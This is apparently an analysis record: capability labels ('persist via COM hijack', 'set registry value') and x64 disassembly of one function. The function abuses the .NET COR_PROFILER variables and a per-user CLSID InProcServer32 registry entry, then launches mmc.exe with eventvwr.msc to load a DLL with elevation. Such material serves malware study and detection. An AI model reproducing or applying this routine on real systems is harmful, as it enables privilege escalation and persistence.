Function at 0x140016587
Capabilities:
Persist via com hijack
Set registry value

Disassembly:
jmp 0x140028190
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
mov eax, 0x12d8
call fcn.14001600a
sub rsp, rax
lea rbp, [rsp + 0x50]
mov rdi, rsp
mov ecx, 0x4b6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x12f8]
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0x1278], rax
lea rcx, [0x14006d19a]
call fcn.140016276
mov dword [rbp + 4], 0xc0000022
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x78], 0
mov qword [rbp + 0xb8], 0
lea rcx, [rbp + 0x48]
call qword [sym.imp.ole32.dll_CoCreateGuid]
test eax, eax
je 0x140028216
jmp 0x14002848a
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0x48]
call qword [sym.imp.ole32.dll_StringFromCLSID]
test eax, eax
je 0x140028230
jmp 0x14002848a
mov rax, qword [0x140065a08]
add rax, 0x480
mov rdx, rax
lea rcx, [rbp + 0xe0]
call fcn.14001616d
lea rdx, str.pe386
lea rcx, [rbp + 0xe0]
call fcn.1400165e1
lea rdx, str..dll
lea rcx, [rbp + 0xe0]
call fcn.1400165e1
mov r8d, dword [rbp + 0x12a8]
mov rdx, qword [rbp + 0x12a0]
lea rcx, [rbp + 0xe0]
call fcn.140016ad7
test eax, eax
jne 0x140028295
jmp 0x14002848a
lea r9, [0x14004e880]
lea r8, str.COR_ENABLE_PROFILING
xor edx, edx
xor ecx, ecx
call fcn.140016848
mov r9, qword [rbp + 0xb8]
lea r8, str.COR_PROFILER
xor edx, edx
xor ecx, ecx
call fcn.140016848
mov rax, qword [0x140065a08]
cmp dword [rax + 0x5c], 0x23f0
jb 0x1400282ef
lea r9, [rbp + 0xe0]
lea r8, str.COR_PROFILER_PATH
xor edx, edx
xor ecx, ecx
call fcn.140016848
jmp 0x140028451
lea rdx, str.SoftwareClassesCLSID_
lea rcx, [rbp + 0x510]
call fcn.14001616d
mov rdx, qword [rbp + 0xb8]
lea rcx, [rbp + 0x510]
call fcn.1400165e1
lea rdx, str.InProcServer32
lea rcx, [rbp + 0x510]
call fcn.1400165e1
mov qword [rbp + 0x78], 0
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x78]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x510]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
cdqe
mov qword [rbp + 0x98], rax
cmp qword [rbp + 0x98], 0
jne 0x140028451
lea rcx, [rbp + 0xe0]
call fcn.14001680c
lea rax, [rax + rax + 2]
mov qword [rbp + 0x28], rax
mov eax, dword [rbp + 0x28]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, [0x140047438]
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
cdqe
mov qword [rbp + 0x98], rax
cmp qword [rbp + 0x98], 0
jne 0x140028447
mov edx, 0x820
lea rcx, [rbp + 0x510]
call fcn.140016c2b
lea rdx, str.Apartment
lea rcx, [rbp + 0x510]
call fcn.14001616d
lea rcx, [rbp + 0x510]
call fcn.14001680c
lea rax, [rax + rax + 2]
mov qword [rbp + 0x28], rax
mov eax, dword [rbp + 0x28]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x510]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.ThreadingModel
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [rsp + 0x20], 0
mov r9d, 5
xor r8d, r8d
lea rdx, str.eventvwr.msc
lea rcx, str.mmc.exe
call fcn.14001664a
test eax, eax
je 0x140028480
mov dword [rbp + 4], 0
xor eax, eax
test eax, eax
jne 0x140028203
cmp qword [rbp + 0xb8], 0
je 0x1400284b7
xor r9d, r9d
lea r8, str.COR_PROFILER
xor edx, edx
mov ecx, 1
call fcn.140016848
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
xor r9d, r9d
lea r8, str.COR_ENABLE_PROFILING
xor edx, edx
mov ecx, 1
call fcn.140016848
mov rax, qword [0x140065a08]
cmp dword [rax + 0x5c], 0x23f0
jb 0x1400284f3
xor r9d, r9d
lea r8, str.COR_PROFILER_PATH
xor edx, edx
mov ecx, 1
call fcn.140016848
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x50]
lea rdx, [0x14004c7b0]
call fcn.140016b90
mov eax, edi
mov rcx, qword [rbp + 0x1278]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0x1288]
pop rdi
pop rbp
ret